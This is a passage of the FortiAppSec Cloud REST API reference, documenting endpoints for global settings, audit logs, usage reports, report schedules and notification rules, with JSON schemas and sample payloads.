FortiAppSec Cloud RESTful API Reference (26.3)

Download OpenAPI specification:Download

URL: https://appsec.fortinet.com License: Fortinet Terms of Service

Overview

FortiAppSec Cloud provides a powerful and flexible RESTful API that allows developers to access and modify the settings of web applications programmatically. FortiAppSec Cloud's services include Threat Analytics (TA), Web Application Firewall (WAF), Global Server Load Balancing (GSLB) and Advanced Bot Protection (ABP). By leveraging the API, you can integrate these capabilities into your own applications, automate tasks, and manage resources more efficiently.

Changes

Changes after v26.2.b are summarized as below:

POST /waf/apps/{ep_id}/authentication_proxy/settings/download_sp_metadata (added)
GET /waf/settings/idps (added)
POST /waf/settings/idps (added)
DELETE /waf/settings/idps/{idp_name} (added)
PUT /waf/settings/idps/{idp_name} (added)

REST principles

Programs communicate with the API over HTTPS, the same protocol that your web browser uses to interact securely with web pages.

The API is based on interactions with a web page. Data is treated like a static web page:

Add data by POSTing a web page
Fetch data by GETing a web page
Update data by PUTing a web page
Delete data by DELETEing a web page

After the FortiAppSec Cloud API receives a request, it returns an HTTP response code. These codes are discussed later in this reference.

Authentication

FortiAppSec Cloud RESTful API requires API key authorization. An API Key tells our API server that the request it received came from you. Everything that you have access to in FortiAppSec Cloud is accessible with an API Key that is generated by you.

For how to generate the API key, See API Key in Online Help.

Request format

FortiAppSec Cloud RESTful API request is a standard HTTP request, which includes the HTTP header and HTTP body. Expected response can be returned only when the HTTP header and body meet the standard. The HTTP request header of FortiAppSec Cloud RESTful API must include the following header lines:

Header authentication field

FortiAppSec Cloud RESTful API requires API key authorization. It is required to add the generated API key from FortiAppSec Cloud GUI in the HTTP request header: Authorization: Basic <api-key-secret>

For how to generate the API key, See API Key in Online Help.

Accept field

It is required to use Accept field when sending an RESTful API request to show the accepted format.

The Accept field of most RESTful APIs is: Accept: application/json

Key concepts

The following headers are used by APIs documented.

Header name	Value	Description
Accept	application/Json	Used to specify certain media types which are acceptable by the request; the value of the header should be application/json, which is not changeable.
Authorization	A random string from API Fetch Authorization Token	Used to specify the token for authorization. The token could be obtained through API Fetch Authorization Token, please see API Fetch Authorization for details.
Content-Type	application/json	Used to specify the content types which are acceptable by the request. The value of the header should be application/json, which is not changeable.

Supported API methods

Method	Operation description
GET	Retrieves all configuration information of a resource.
POST	Creates new configuration information of a resource.
PUT	Updates the specified configuration information of a resource.
DELETE	Deletes the specified configuration infomration of a resource.
OPTIONS	Previews whether the server accepts the request. Once the preview is successful, the browser will send requests such as GET, PUT, etc.

URL format

The URLs that you use to access FortiAppSec Cloud APIs follow the following format:

https://api.appsec.fortinet.com/v2/waf/apps/{ep_id}/{module_name}/

{} stands for variable.

Variable	Description
{ep_id}	The ID of the apppication. When you click into an application on FortiAppSec Cloud's Web UI, the ID of this application will show in the URL path. It's a 10-digit number. For example, if the URL path is https://api.appsec.fortinet.com/root/1111122222/dashboard, then 1111122222 is the ep_id.
{module_name}	Name of the FortiAppSec Cloud module. For example, "known_attacks".

General query parameters for GSLB

When obtaining a model list, one can utilize the following general query parameters to retrieve the desired and specific data.

sort : This specifies the record fields to be used for sorting. In this notation, a minus sign (-) signifies descending order, while the absence of a minus sign indicates ascending order. You can specify multiple fields by separating them with commas, as demonstrated here: -field1,field2
last_id : The offset of the current model based on its ID.
limit : The number of records to be returned.
order: The ordering of records by ID combined with the limit and last_id parameters. This value can be either asc or desc.
fields: The fields of records to be returned. If not specified, all fields will be included. For example: field1,field2

System Settings

Global settings of system configuration.

Server Connectivity Test

Test Connectivity of ElasticSearch Server or Syslog Server.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

{ }

Response samples

400

Content type

application/json

{"message": "Invalid request."
}

Get Global Setting Configurations

Get the global setting configurations.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type

application/json

Example

Settings with ElasticSearch server as exporting server

{"AuditEnable": 1,
"ESServer": {"address": "es-server-host or IP address",
"password": "encrypted password",
"port": "9243",
"server_type": "elasticsearch",
"syslog_type": "elog",
"username": "elastic"
},
"NotificationEnable": true,
"ServerType": "elasticsearch",
"user_perm": "rwa"
}

Update Global Setting Configurations

Modify the global settings.

A body including all parameters and values in the request that conforms to the following JSON schema:

{
    "type": "object",
    "required": ["AuditEnable", "WeeklyEnable", "WeekReport", "AuditLog", "ServerType"],
    "properties": {
        "AuditEnable": {
            "description": "Select 0 to disable exporting audit logs, or select 1 to enable exporting audit logs",
            "type": "int",
            "enum": [0,1],
            "default": 0
        },
        "WeeklyEnable": {
            "description": "Select 0 to disable sending weekly report or select 1 to enable sending weekly report",
            "type": "int",
            "enum": [0,1],
            "default": 0
        },
        "WeekReport": {
            "description": "Configure weekly report configuration",
            "type": "object",
            "properties": {
                "email":{
                	"description": "Configure the email address that receives the weekly report",
         	        "type": "string"
                },
                "email_default":{
                	"description": "Select 0 to define the email address that receives the weekly report or 1 to send the weekly report to the default email address",
         	        "type": "int",
         	        "enum": [0,1]
                }
            }
        },
        "ServerType": {
            "description": "The type of the AuditLog server.",
            "type": "string",
            "enum": ["syslog", "elasticsearch"],
            "default": "syslog"
        },
        "AuditLog": {
            "description": "Configure syslog server for auditing log",
            "type": "object",
            "required": ["server_type", "syslog_type", "address", "port", "protocol", "cert_signed", "type", "value"],
            "properties":{
                "server_type": {
                    "description": "The type of the server, should be 'syslog' here.",
                    "type": "string",
                    "enum": ["syslog", "elasticsearch"]
                },
                "syslog_type": {
                    "description": "The type of the log content, should be 'elog' here.",
                    "type": "string",
                    "enum": ["alog", "elog"]
                },
                "address": {
                    "description": "Configure the syslog server address or domain",
                    "type": "string"
                },
                "port": {
                    "description": "Configure the syslog server listened port.",
                    "type": "int"
                },
                "protocol": {
                    "description": "Select the protocol that connects to syslog server.",
                    "type": "string",
                    "enum": ["TCP","UDP","SSL"],
                    "default": "UDP"
                },
                "cert_signed": {
                    "description": "Use customer cert (0) or default self-signed cert (1)",
                    "type": "string",
                    "enum": [0, 1],
                    "default": "1"
                },
                "pkey": {
                    "description": "Private key of cert",
                    "type": "string"
                },
                "pkey_passwd": {
                    "description": "Enter the password of private key",
                    "type": "string"
                },
                "type": {
                    "description": " The type of the log template",
                    "type": "string",
                    "enum": ["default", "splunk", "cef0_arcsight", "azure_oms", "leef1_qradar", "custom"],
                    "default": "default"
                },
                "value": {
                    "description": "The template content of corresponding type",
                    "type": "string"
                },
                "facility": {
                    "description": "The Syslog facility value",
                    "type": "string",
                    "enum": ["local0", "local1","local2", "local3","local4", "local5","local6", "local7"],
                    "default": "local0"
                }
            }
        },
        "ESServer": {
            "description": "Configure elaseticsearch server for auditing log",
            "type": "object",
            "required": ["server_type", "syslog_type", "address", "port", "username", "password"],
            "properties":{
                "server_type": {
                    "description": "The type of the server, should be 'elasticsearch' here.",
                    "type": "string",
                    "enum": ["syslog", "elasticsearch"]
                },
                "syslog_type": {
                    "description": "The type of the log content, should be 'elog' here.",
                    "type": "string",
                    "enum": ["alog", "elog"]
                },
                "address": {
                    "description": "Configure the elasticsearch address or domain",
                    "type": "string"
                },
                "port": {
                    "description": "Configure the elasticsearch server listened port.",
                    "type": "int"
                },
                "username": {
                    "description": "The username of the elasticsearch server.",
                    "type": "string"
                },
                "password": {
                    "description": "The password of the elasticsearch server",
                    "type": "string"
                }
            }
        }
    }
}

After you update the configuration, the API will return successfully.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

Example

Settings with ElasticSearch server as exporting server

{"AuditEnable": 1,
"ESServer": {"address": "es_server-host.com",
"password": "123456",
"port": "9243",
"server_type": "elasticsearch",
"syslog_type": "elog",
"username": "elastic"
},
"ServerType": "elasticsearch"
}

Response samples

200
400

Content type

application/json

{"detail": "Global setting change success."
}

Log&Report

Global settings of log and report configuration.

Get Audit Logs List

List the current audit logs.

Authorizations:

ApiRequestAuthorizer

query Parameters

filter	string Array like string. Each element shall be JSON like object. Basic structure is `[ { "id":"{log_field_name}", "logic":{ "is":{"string":true}, "NOT":{1 or None}, "RANGE":{1 or None} }, "value":["{field_value_1}", "field_value_2"] } ]` Add NOT:1 to exclude given values. Add RANGE:1 to tell that the given filter value is range type (at least two values). Value is an array containing multiple values. The logic between these values is OR logic.
size	integer Page size. The range shall be [20, 100].
page	integer Page number. The page number shall be less than 100.

Responses

Response samples

200
400

Content type

application/json

{"hits": [{"_id": "a4c9f9d6-dc69-3259-8010-bab5bf9d79f6",
"action": "EDIT",
"body": "Module Known Attack of application TEST_APP updated",
"fc_account_id": "123456",
"level": "INFO",
"module": "Application",
"service": "WAF",
"specific": {"meta": {"app_name": "TEST_APP",
"endpoint_id": "2549643009"
}
},
"timestamp": 1680650258347,
"user_uuid": "1234567890",
"username": "test@example.com"
},
{"_id": "ceae9699-edc4-3d0d-84c0-4bb4920685b7",
"action": "EDIT",
"body": "TEST Updated",
"fc_account_id": "123456",
"level": "INFO",
"module": "TEST",
"service": "GSLB",
"specific": {"meta": {"company_id": "1234567890",
"identity_name": "",
"status": "success",
"sub_module": "server",
"sub_module_id": "7797700799012450"
}
},
"timestamp": 1680650246408,
"user_uuid": "4324567347",
"username": "test_gslb@example.com"
}
],
"total": 2
}

Get Audit Log

Fetch the audit log detail.

Authorizations:

ApiRequestAuthorizer

path Parameters

log_id

required

string

Message ID for each log.

Responses

Response samples

200
400

Content type

application/json

{"_id": "a4c9f9d6-dc69-3259-8010-bab5bf9d79f6",
"action": "EDIT",
"body": "Module Known Attack of application TEST_APP updated",
"fc_account_id": "123456",
"level": "INFO",
"module": "Application",
"service": "WAF",
"specific": {"diff": {"new": {"action": "alert_deny",
"arithmetic_sql_inject": true,
"condition_sql_inject": true,
"cross_site_script": true,
"embed_sql_inject": true,
"generic_attacks": true,
"html_attr_xss_inject": true,
"html_css_xss_inject": true,
"html_tag_xss_inject": true,
"js_func_xss_inject": true,
"js_var_xss_inject": true,
"known_exploits": true,
"line_comments": true,
"sensitivity_level": 1,
"sig_except_rules": [ ],
"sql_func_inject": true,
"sql_inject": true,
"stack_sql_inject": true,
"status": true,
"stx_except_rules": [ ],
"trojans": true
},
"old": {"action": "alert_deny",
"arithmetic_sql_inject": false,
"condition_sql_inject": false,
"cross_site_script": true,
"embed_sql_inject": true,
"generic_attacks": true,
"html_attr_xss_inject": true,
"html_css_xss_inject": true,
"html_tag_xss_inject": true,
"js_func_xss_inject": true,
"js_var_xss_inject": true,
"known_exploits": true,
"line_comments": false,
"sensitivity_level": 1,
"sig_except_rules": [ ],
"sql_func_inject": false,
"sql_inject": true,
"stack_sql_inject": true,
"status": true,
"stx_except_rules": [ ],
"trojans": true
}
},
"meta": {"app_name": "TEST_APP",
"domain": "test.waasonline.com",
"endpoint_id": "2549643009"
}
},
"timestamp": 1680650258347,
"user_uuid": "1234567890",
"username": "test@example.com"
}

Get Account Usage Detail

Example Request:

Get Account Usage Detail

/general/reports/account_usage/detail/202402

Authorizations:

ApiRequestAuthorizer

path Parameters

yyyymm

required

string

like 202402

Responses

Response samples

200

Content type

application/json

{"contract_type": "fortinet",
"days": [{"day": 1,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 2,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 3,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 4,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 5,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 6,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 7,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 8,
"ordered_bandwidth": 0,
"used_bandwidth": 0
},
{"day": 9,
"ordered_bandwidth": 0,
"used_bandwidth": 86.77333333333333,
"used_bandwidth_display": "86.77"
},
{"day": 10,
"ordered_bandwidth": 0,
"used_bandwidth": 132.02666666666667,
"used_bandwidth_display": "132.03"
},
{"day": 11,
"ordered_bandwidth": 0,
"used_bandwidth": 194.37333333333333,
"used_bandwidth_display": "194.37"
},
{"day": 12,
"ordered_bandwidth": 0,
"used_bandwidth": 196.26666666666668,
"used_bandwidth_display": "196.27"
},
{"day": 13,
"ordered_bandwidth": 0,
"used_bandwidth": 199.25333333333333,
"used_bandwidth_display": "199.25"
},
{"day": 14,
"ordered_bandwidth": 0,
"used_bandwidth": 199.25333333333333,
"used_bandwidth_display": "199.25"
},
{"day": 15,
"ordered_bandwidth": 0,
"used_bandwidth": 237.33333333333334,
"used_bandwidth_display": "237.33"
},
{"day": 16,
"ordered_bandwidth": 0,
"used_bandwidth": 255.89333333333335,
"used_bandwidth_display": "255.89"
},
{"day": 17,
"ordered_bandwidth": 0,
"used_bandwidth": 301.46666666666664,
"used_bandwidth_display": "301.47"
},
{"day": 18,
"ordered_bandwidth": 0,
"used_bandwidth": 903.5466666666666,
"used_bandwidth_display": "903.55"
},
{"day": 19,
"ordered_bandwidth": 0,
"used_bandwidth": 903.5466666666666,
"used_bandwidth_display": "903.55"
},
{"day": 20,
"ordered_bandwidth": 0,
"used_bandwidth": 965.68,
"used_bandwidth_display": "965.68"
},
{"day": 21,
"ordered_bandwidth": 0,
"used_bandwidth": 965.68,
"used_bandwidth_display": "965.68"
},
{"day": 22,
"ordered_bandwidth": 0,
"used_bandwidth": 990.8266666666667,
"used_bandwidth_display": "990.83"
},
{"day": 23,
"ordered_bandwidth": 0,
"used_bandwidth": 3778.6666666666665,
"used_bandwidth_display": "3.78K"
},
{"day": 24,
"ordered_bandwidth": 0,
"used_bandwidth": 12271.44,
"used_bandwidth_display": "12.27K"
},
{"day": 25,
"ordered_bandwidth": 0,
"used_bandwidth": 19105.066666666666,
"used_bandwidth_display": "19.11K"
},
{"day": 26,
"ordered_bandwidth": 0,
"used_bandwidth": 21582.533333333333,
"used_bandwidth_display": "21.58K"
},
{"day": 27,
"ordered_bandwidth": 0,
"used_bandwidth": 21628.24,
"used_bandwidth_display": "21.63K"
},
{"day": 28,
"ordered_bandwidth": 0,
"used_bandwidth": 21628.24,
"used_bandwidth_display": "21.63K"
},
{"day": 29,
"ordered_bandwidth": 0,
"used_bandwidth": 22158.4,
"used_bandwidth_display": "22.16K"
},
{"day": 30,
"ordered_bandwidth": 0,
"used_bandwidth": 22270.48,
"used_bandwidth_display": "22.27K"
},
{"day": 31,
"ordered_bandwidth": 0,
"used_bandwidth": 31414.133333333335,
"used_bandwidth_display": "31.41K"
}
],
"usage_type": "bandwidth"
}

Get Account Usage History

Example Request:

Get Account Usage History

/general/reports/account_usage/history

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200

Content type

application/json

{"contract_type": "fortinet",
"exceeded": false,
"months": [{"ordered_bandwidth": 50,
"period": "Feb 2024",
"status": "open",
"used_bandwidth": 2585.3333333333335,
"used_bandwidth_display": "2.59K"
},
{"ordered_bandwidth": 0,
"period": "Jan 2024",
"status": "closed",
"used_bandwidth": 251.14666666666668,
"used_bandwidth_display": "251.15"
},
{"ordered_bandwidth": 0,
"period": "Dec 2023",
"status": "closed",
"used_bandwidth": 509.5733333333333,
"used_bandwidth_display": "509.57"
},
{"ordered_bandwidth": 0,
"period": "Nov 2023",
"status": "closed",
"used_bandwidth": 0
}
],
"usage_type": "bandwidth"
}

Delete Report Definition

Delete weekly report definition.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

report_id

required

string

The report ID. Can be found in Report Detail response or Report List Response.

Responses

Response samples

200
404

Content type

application/json

{"message": "The operation was successful."
}

Get Report Definitions List

Get report list.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the "next_cursor" parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the "prev_cursor" value, then paste it here as the cursor value.
filter	string You can filter by report_name and recipients. It is in JSON format.
forward	string True: the next page; False: the previous page.
size	string The valid page size range is 10-50.

Responses

Response samples

200
400

Content type

application/json

{"data": [{"applications": ["2277317806"
],
"contents": ["src_ip",
"srccountry"
],
"last_run_time": "--",
"next_run_time": "--",
"recipients": "testuser8@aaa.com",
"report_id": "5f0774d6-b8ef-11ea-b496-5ad898b1340f",
"report_name": "Demo_Report_1",
"schedule_info": {"repeat": "manually",
"timezone": 480
},
"schedule_str": "Manually",
"time_range": "24h"
},
{"applications": ["7263170513"
],
"contents": ["main_type"
],
"last_run_time": "--",
"next_run_time": "2020-07-01 17:00",
"recipients": "testuser1@aaa.com",
"report_id": "6a1ce2b2-b8fd-11ea-954f-d63461e01797",
"report_name": "china",
"schedule_info": {"day": 3,
"repeat": "weekly",
"time": "17:0",
"timezone": 480
},
"schedule_str": "At 17:00 on Wednesday of Every Week",
"time_range": "24h"
},
{"applications": ["4533058409"
],
"contents": ["main_type",
"signature_id",
"src_ip",
"srccountry",
"http_url",
"signature_cve_id",
"owasp_top10"
],
"last_run_time": "2020-06-28 16:49",
"next_run_time": "2020-06-29 00:00",
"recipients": "testuser0@aaa.com",
"report_id": "ae5d7ece-b906-11ea-97b8-baa3eebb43cc",
"report_name": "dwguo",
"schedule_info": {"day": 1,
"repeat": "weekly",
"time": "0:0",
"timezone": 480
},
"schedule_str": "At 00:00 on Monday of Every Week",
"time_range": "30d"
},
{"applications": ["7263170513"
],
"contents": ["srccountry",
"http_url"
],
"last_run_time": "2020-06-28 15:40",
"next_run_time": "2020-06-28 15:40",
"recipients": "demos@fortinet.com",
"report_id": "dfcd526e-b8fb-11ea-ab04-bac5fd66684d",
"report_name": "fsun",
"schedule_info": {"repeat": "daily",
"time": "15:40",
"timezone": 480
},
"schedule_str": "At 15:40 on Every Day",
"time_range": "24h"
}
],
"next_cursor": null,
"prev_cursor": "eyJyZXBvcnRfaWQiOiB7IlMiOiAiNWYwNzc0ZDYtYjhlZi0xMWVhLWI0OTYtNWFkODk4YjEzNDBmIn0sICJvd25lcl9pZCI6IHsiUyI6ICI5MDYyMDMifX0=",
"total": 4,
"user_perm": "rw"
}

Create New Report Definition

Create a report definition.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

contents	Array of strings List of report contents
disabled	boolean Schedule state is started (true) or suspended (false)
recipients	string a@b.cn,c@d.com
report_id	string report uuid
report_name	string report name
	object schedule
schedule_str	string GUI "Schedule" string, e.g., "At 00:00 on Monday of Every Week"
time_range	string 24h\|7d\|14d\|30d

Responses

Request samples

Payload

Content type

application/json

{"applications": ["0812747818"
],
"contents": ["src_ip"
],
"recipients": "me@my.domain.com",
"report_name": "weekly report",
"schedule_info": {"repeat": "manually",
"timezone": 480
},
"time_range": "7d"
}

Response samples

200
400

Content type

application/json

{"message": "The operation was successful."
}

Update Report Definition

Update a report definition.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

contents	Array of strings List of report contents
disabled	boolean Schedule state is started (true) or suspended (false)
recipients	string a@b.cn,c@d.com
report_id	string report uuid
report_name	string report name
	object schedule
schedule_str	string GUI "Schedule" string, e.g., "At 00:00 on Monday of Every Week"
time_range	string 24h\|7d\|14d\|30d

Responses

Request samples

Payload

Content type

application/json

{"applications": ["0812747818"
],
"contents": ["signature_cve_id"
],
"recipients": "me@my.domain.com",
"report_id": "7bb91fe5-5bd3-447a-9273-bda0c03a096a",
"schedule_info": {"date": "1",
"repeat": "monthly",
"time": "0:0",
"timezone": 480
},
"time_range": "24h"
}

Response samples

200
400

Content type

application/json

{"message": "The operation was successful."
}

Activate/Deactivate Report Schedule

Deactivate a report means to pause the schedule, while activate a report means to recover the schedule.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Example Request:

Activate Report Request Body

{
    "action": "activate",
    "report_id": "6a1ce2b2-b8fd-11ea-954f-d63461e01797"
}

Deactivate Report Request Body

{
    "action": "deactivate"
    "report_id": "6a1ce2b2-b8fd-11ea-954f-d63461e01797"
}

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

action	string activate or deactivate
report_id	string report uuid
report_name	string report name

Responses

Request samples

Payload

Content type

application/json

{"action": "activate|deactivate",
"report_id": "{{report_id}}"
}

Response samples

200
400

Content type

application/json

Example

Success - Activate Report

{"message": "The operation was successful."
}

Get Report Definition Detail

Get weekly report list.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

report_id

required

string

Responses

Response samples

200
404

Content type

application/json

[{"applications": ["2277317806"
],
"contents": ["src_ip",
"srccountry"
],
"custom_recipient": false,
"last_run_time": "--",
"next_run_time": "--",
"recipients": "testuser@aaa.com",
"report_id": "5f0774d6-b8ef-11ea-b496-5ad898b1340f",
"report_name": "Demo_Report_1",
"schedule_info": {"repeat": "manually",
"timezone": 480
},
"schedule_str": "Manually",
"time_range": "24h"
}
]

Get WAF Application Bandwidth Usage Detail

This API only returns information for accounts that use daily WAF bandwidth billing, such as accounts with FortiFlex licenses or subscriptions through AWS, Azure, and GCP marketplaces. Accounts with other license types will not have their application daily 95th percentile bandwidth calculated or returned by this API.

### Example Request:

Get WAF Application Bandwidth Usage Detail

/general/reports/waf_app_usage/202511

Authorizations:

ApiRequestAuthorizer

path Parameters

yyyymm

required

string

Year and month for which to retrieve data (e.g., 202511)

query Parameters

ep_id

string

Optional. A comma-separated list of application IDs to filter the results. Application IDs can be obtained from the List Applications API. If omitted, the response includes usage data for all applications under the account.

Responses

Response samples

200

Content type

application/json

{"items": [{"app_name": "test-1",
"daily": [{"date": "2025-11-01",
"p95_bandwidth": 126267,
"p95_bandwidth_display": "126.27 Kbps"
},
{"date": "2025-11-02",
"p95_bandwidth": 69004881,
"p95_bandwidth_display": "69.00 Mbps"
}
],
"ep_id": "4461577593"
},
{"app_name": "test-2",
"daily": [{"date": "2025-11-01",
"p95_bandwidth": 400924572,
"p95_bandwidth_display": "400.92 Mbps"
}
],
"ep_id": "4461577601"
}
],
"month": "202511"
}

Notifications

Global settings of notifications.

Get notification list

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type

application/json

{"detail": [{"description": "Notification Description",
"description_format": "plain",
"notification_id": "xxx",
"read_status": false,
"receive_datetime": "2024-03-05T18:27:09.391723+0000",
"service": "WAF",
"title": "Notification Title"
}
]
}

Update UFC Notification read status

Change the read status of selected notifications to read.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

notification_ids

Array of strings

Notification ID list to update read status

Responses

Request samples

Payload

Content type

application/json

{"notification_ids": ["01998cd2-4534-4a63-ad14-b04f8a7812b5"
]
}

Response samples

200
400

Content type

application/json

{"detail": "Status updated"
}

Delete an audit log notification rule

Delete a rule by ID.

Query Parameters

rule_id (string, required): Rule ID (UUID).

Authorizations:

ApiRequestAuthorizer

query Parameters

rule_id

required

string

Rule ID (UUID).

Responses

Response samples

200
400
401
404
409

Content type

application/json

Example

delete-ok

{"data": {"rule_id": "uuid"
},
"message": "Rule deleted successfully",
"status": "success"
}

List or get audit log notification rules

List all rules for the account, or fetch a single rule by rule_id.

Query Parameters

rule_id (string, optional): Rule ID (UUID). If provided, returns only that rule; if omitted, returns all rules sorted by created_at ascending.

data.max_rules indicates the maximum number of rules allowed for the account (default 10).

Authorizations:

ApiRequestAuthorizer

query Parameters

rule_id

string

Rule ID (UUID).

Responses

Response samples

200

Content type

application/json

Example

Get one rule success

{"data": {"max_rules": 10,
"rules": [{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "Health check"
}
],
"created_at": "2025-08-30T03:20:19Z",
"delivery": {"channel": "email",
"recipients": ["ops@example.com"
]
},
"rule_id": "9b2f0f66-6a72-4f1a-9189-0a6b5a6f9a10",
"rule_name": "WAF HealthCheck Alerts",
"status": "enabled"
}
]
},
"message": "Rules retrieved successfully",
"status": "success"
}

Create an audit log notification rule

Request Body JSON Schema

Both POST (create) and PUT (update) share the same structure (PUT additionally requires rule_id).

{
  "type": "object",
  "required": ["rule_name", "status", "delivery"],
  "properties": {
    "rule_id": {"type": "string", "description": "Rule ID for updates (UUID)"},
    "rule_name": {"type": "string", "minLength": 1},
    "status": {"type": "string", "enum": ["enabled", "disabled"]},
    "conditions": {
      "type": "array", "description": "Array of conditions; capped by policy (default 5)",
      "items": {
  "type": "object",
  "required": ["field", "operator", "value"],
  "properties": {
    "field": {
      "type": "string",
      "enum": ["level", "body", "service", "username", "action", "module"],
      "description": "Filter field mapped to backend log attributes (note: 'message' maps to 'body' at sender)."
    },
    "operator": {"type": "string", "enum": ["is", "is_not"], "description": "Match operator"},
    "value": {"type": "string", "maxLength": 100, "description": "Non-empty match value"}
  }
}
    },
    "delivery": {
  "type": "object",
  "required": ["channel", "recipients"],
  "properties": {
    "channel": {"type": "string", "enum": ["email"], "description": "Notification channel; only 'email' supported"},
    "recipients": {
      "type": "array",
      "minItems": 1, "maxItems": 5,
      "items": {"type": "string", "format": "email"},
      "description": "Recipient emails; backend normalizes to lowercase and de-duplicates"
    }
  }
}
  }
}

Limits enforced by backend: up to 10 rules per account (data.max_rules), up to 5 conditions per rule, value max length 100, channel must be email, recipients must contain 1..5 valid emails.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

Example

Minimal example (email with single recipient)

{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "Health check"
}
],
"delivery": {"channel": "email",
"recipients": ["ops@example.com"
]
},
"rule_name": "WAF HealthCheck Alerts",
"status": "enabled"
}

Response samples

Content type

application/json

Example

delete-ok

{"data": {"rule_id": "uuid"
},
"message": "Rule deleted successfully",
"status": "success"
}

Update an audit log notification rule

Request Body JSON Schema

Both POST (create) and PUT (update) share the same structure (PUT additionally requires rule_id).

{
  "type": "object",
  "required": ["rule_name", "status", "delivery"],
  "properties": {
    "rule_id": {"type": "string", "description": "Rule ID for updates (UUID)"},
    "rule_name": {"type": "string", "minLength": 1},
    "status": {"type": "string", "enum": ["enabled", "disabled"]},
    "conditions": {
      "type": "array", "description": "Array of conditions; capped by policy (default 5)",
      "items": {
  "type": "object",
  "required": ["field", "operator", "value"],
  "properties": {
    "field": {
      "type": "string",
      "enum": ["level", "body", "service", "username", "action", "module"],
      "description": "Filter field mapped to backend log attributes (note: 'message' maps to 'body' at sender)."
    },
    "operator": {"type": "string", "enum": ["is", "is_not"], "description": "Match operator"},
    "value": {"type": "string", "maxLength": 100, "description": "Non-empty match value"}
  }
}
    },
    "delivery": {
  "type": "object",
  "required": ["channel", "recipients"],
  "properties": {
    "channel": {"type": "string", "enum": ["email"], "description": "Notification channel; only 'email' supported"},
    "recipients": {
      "type": "array",
      "minItems": 1, "maxItems": 5,
      "items": {"type": "string", "format": "email"},
      "description": "Recipient emails; backend normalizes to lowercase and de-duplicates"
    }
  }
}
  }
}

Limits enforced by backend: up to 10 rules per account (data.max_rules), up to 5 conditions per rule, value max length 100, channel must be email, recipients must contain 1..5 valid emails.

PUT requires rule_id in the request body.

Authorizations:

ApiRequestAuthorizer

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type

application/json

{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "Health check"
}
],
"delivery": {"channel": "email",
"recipients": ["ops@example.com"
]
},
"rule_id": "9b2f0f66-6a72-4f1a-9189-0a6b5a6f9a10",
"rule_name": "WAF HC Alerts",
"status": "disabled"
}

Response samples

200
400
401
404
409

Content type

application/json

Example

delete-ok

{"data": {"rule_id": "uuid"
},
"message": "Rule deleted successfully",
"status": "success"
}

List built-in audit log notification rule templates

Return built-in rule templates to help create rules quickly. Templates include template_id, name, description, and conditions only.

Condition object schema:

{
  "type": "object",
  "required": ["field", "operator", "value"],
  "properties": {
    "field": {
      "type": "string",
      "enum": ["level", "body", "service", "username", "action", "module"],
      "description": "Filter field mapped to backend log attributes (note: 'message' maps to 'body' at sender)."
    },
    "operator": {"type": "string", "enum": ["is", "is_not"], "description": "Match operator"},
    "value": {"type": "string", "maxLength": 100, "description": "Non-empty match value"}
  }
}

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200

Content type

application/json

{"data": {"templates": [{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "Health check"
}
],
"description": "Notify on WAF health check events.",
"name": "WAF Health Check Events",
"template_id": 1
},
{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "DNS Status"
}
],
"description": "Notify on WAF DNS status events.",
"name": "WAF DNS Status Events",
"template_id": 2
},
{"conditions": [{"field": "body",
"operator": "is",
"value": "Failed to"
},
{"field": "body",
"operator": "is",
"value": "Automatic Certificate"
}
],
"description": "Notify on automatic certificate apply or renewal failures.",
"name": "Automatic Certificate Failures",
"template_id": 3
},
{"conditions": [{"field": "service",
"operator": "is",
"value": "WAF"
},
{"field": "body",
"operator": "is",
"value": "Module"
},
{"field": "body",
"operator": "is",
"value": "updated"
}
],
"description": "Notify when WAF modules are updated.",
"name": "WAF Module Updates",
"template_id": 4
}
]
},
"message": "Templates retrieved successfully",
"status": "success"
}

Asset Group

Global settings of asset groups.

Get Asset Group List

Get list of asset groups.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

Responses

Response samples

200
400

Content type

application/json

{"data": [{"admin_users": [["1111",
"user1",
"user1@abc.com"
],
["2222",
"user2",
"user2@abc.com"
]
],
"group_name": "Group 1",
